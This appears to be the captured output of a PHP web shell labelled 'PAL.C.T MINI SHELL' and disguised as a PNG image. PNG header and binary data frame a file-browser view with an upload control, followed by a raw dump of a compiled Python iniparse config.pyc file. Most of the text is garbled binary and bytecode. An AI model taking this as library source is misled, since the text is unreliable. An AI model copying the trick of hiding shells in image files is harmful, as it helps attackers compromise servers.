php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/python2.6/site-packages/iniparse/
upload
files >> //usr/lib/python2.6/site-packages/iniparse/config.pyc

0Ic@sOdefdYZdefdYZdefdYZdZdS(tConfigNamespacecBsheZdZdZdZdZdZdZdZdZ	dZ
d	Zd
ZRS(sAbstract class representing the interface of Config objects.

    A ConfigNamespace is a collection of names mapped to values, where
    the values may be nested namespaces.  Values can be accessed via
    container notation - obj[key] - or via dotted notation - obj.key.
    Both these access methods are equivalent.

    To minimize name conflicts between namespace keys and class members,
    the number of class members should be minimized, and the names of
    all class members should start with an underscore.

    Subclasses must implement the methods for container-like access,
    and this class will automatically provide dotted access.

    cCs
t|S(N(tNotImplementedError(tselftkey((s3/usr/lib/python2.6/site-packages/iniparse/config.pyt__getitem__scCst||dS(N(R(RRtvalue((s3/usr/lib/python2.6/site-packages/iniparse/config.pyt__setitem__scCst|dS(N(R(RR((s3/usr/lib/python2.6/site-packages/iniparse/config.pyt__delitem__scCstS(N(R(R((s3/usr/lib/python2.6/site-packages/iniparse/config.pyt__iter__scCst|dS(N(R(Rtname((s3/usr/lib/python2.6/site-packages/iniparse/config.pyt_new_namespace scCs5y|i|SWntj
ot||SXdS(N(RtKeyErrort	Undefined(RR	((s3/usr/lib/python2.6/site-packages/iniparse/config.pyt__getattr__.scCsQy'ti||ti|||Wn#tj
o|i||nXdS(N(tobjectt__getattribute__t__setattr__tAttributeErrorR(RR	R((s3/usr/lib/python2.6/site-packages/iniparse/config.pyR4s
cCsKy$ti||ti||Wn tj
o|i|nXdS(N(RRt__delattr__RR(RR	((s3/usr/lib/python2.6/site-packages/iniparse/config.pyR;s
cCs|iS(N(t__dict__(R((s3/usr/lib/python2.6/site-packages/iniparse/config.pyt__getstate__BscCs|ii|dS(N(Rtupdate(Rtstate((s3/usr/lib/python2.6/site-packages/iniparse/config.pyt__setstate__Es(
t__name__t
__module__t__doc__RRRRR
R
RRRR(((s3/usr/lib/python2.6/site-packages/iniparse/config.pyRs									RcBs eZdZdZdZRS(sHelper class used to hold undefined names until assignment.

    This class helps create any undefined subsections when an
    assignment is made to a nested value.  For example, if the
    statement is "cfg.a.b.c = 42", but "cfg.a.b" does not exist yet.
    cCs*ti|d|ti|d|dS(NR	t	namespace(RR(RR	R((s3/usr/lib/python2.6/site-packages/iniparse/config.pyt__init__PscCs#|ii|i}|||<dS(N(RR
R	(RR	Rtobj((s3/usr/lib/python2.6/site-packages/iniparse/config.pyRTs(RRRRR(((s3/usr/lib/python2.6/site-packages/iniparse/config.pyRHs	tBasicConfigcBs_eZdZd
ZdZdZdZdZdZ	ddZ
dZd	ZRS(sRepresents a hierarchical collection of named values.

    Values are added using dotted notation:

    >>> n = BasicConfig()
    >>> n.x = 7
    >>> n.name.first = 'paramjit'
    >>> n.name.last = 'oberoi'

    ...and accessed the same way, or with [...]:

    >>> n.x
    7
    >>> n.name.first
    'paramjit'
    >>> n.name.last
    'oberoi'
    >>> n['x']
    7
    >>> n['name']['first']
    'paramjit'

    Iterating over the namespace object returns the keys:

    >>> l = list(n)
    >>> l.sort()
    >>> l
    ['name', 'x']

    Values can be deleted using 'del' and printed using 'print'.

    >>> n.aaa = 42
    >>> del n.x
    >>> print n
    aaa = 42
    name.first = paramjit
    name.last = oberoi

    Nested namepsaces are also namespaces:

    >>> isinstance(n.name, ConfigNamespace)
    True
    >>> print n.name
    first = paramjit
    last = oberoi
    >>> sorted(list(n.name))
    ['first', 'last']

    Finally, values can be read from a file as follows:

    >>> from StringIO import StringIO
    >>> sio = StringIO('''
    ... # comment
    ... ui.height = 100
    ... ui.width = 150
    ... complexity = medium
    ... have_python
    ... data.secret.password = goodness=gracious me
    ... ''')
    >>> n = BasicConfig()
    >>> n._readfp(sio)
    >>> print n
    complexity = medium
    data.secret.password = goodness=gracious me
    have_python
    ui.height = 100
    ui.width = 150
    cCs
h|_dS(N(t_data(R((s3/usr/lib/python2.6/site-packages/iniparse/config.pyRscCs|i|S(N(R(RR((s3/usr/lib/python2.6/site-packages/iniparse/config.pyRscCs||i|<dS(N(R(RRR((s3/usr/lib/python2.6/site-packages/iniparse/config.pyRscCs|i|=dS(N(R(RR((s3/usr/lib/python2.6/site-packages/iniparse/config.pyRscCs
t|iS(N(titerR(R((s3/usr/lib/python2.6/site-packages/iniparse/config.pyRstcCsg}|ii}|ix|D]}|i|}t|to'|i|idd||fq&|djo|id||fq&|id|||fq&Wdi|S(Ntprefixs%s%s.s%s%ss	%s%s = %ss
(	Rtkeystsortt
isinstanceRtappendt__str__tNonetjoin(RR"tlinesR#R	R((s3/usr/lib/python2.6/site-packages/iniparse/config.pyR's

'
cCst}||i|<|S(N(RR(RR	R((s3/usr/lib/python2.6/site-packages/iniparse/config.pyR
s	
c	Cs@x9to1|i}|pPn|i}|pqn|ddjoqn|idd}t|djo|}d}n!|di}|di}|id}|}xh|d D]\}y1||}t|tptd|nWqt	j
o|i
|}qXqW|||d<qWdS(Nit#t=it.isvalue-namespace conflict(tTruetreadlinetstriptsplittlenR(R%Rt	TypeErrorRR
(	RtfptlinetdataR	Rtname_componentstnstn((s3/usr/lib/python2.6/site-packages/iniparse/config.pyt_readfps6

N(
RRRR(RRRRRRR'R
R:(((s3/usr/lib/python2.6/site-packages/iniparse/config.pyR[sD						cCsx|D]}||}t|tody.||}t|tptdnWn"tj
o|i|}nXt||q|||<qWdS(sImports values from source into target.

    Recursively walks the <source> ConfigNamespace and inserts values
    into the <target> ConfigNamespace.  For example:

    >>> n = BasicConfig()
    >>> n.playlist.expand_playlist = True
    >>> n.ui.display_clock = True
    >>> n.ui.display_qlength = True
    >>> n.ui.width = 150
    >>> print n
    playlist.expand_playlist = True
    ui.display_clock = True
    ui.display_qlength = True
    ui.width = 150

    >>> from iniparse import ini
    >>> i = ini.INIConfig()
    >>> update_config(i, n)
    >>> print i
    [playlist]
    expand_playlist = True
    <BLANKLINE>
    [ui]
    display_clock = True
    display_qlength = True
    width = 150

    svalue-namespace conflictN(R%RR3RR
t
update_config(ttargettsourceR	Rtmyns((s3/usr/lib/python2.6/site-packages/iniparse/config.pyR;s

N(RRRRR;(((s3/usr/lib/python2.6/site-packages/iniparse/config.pyt<module>sG
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`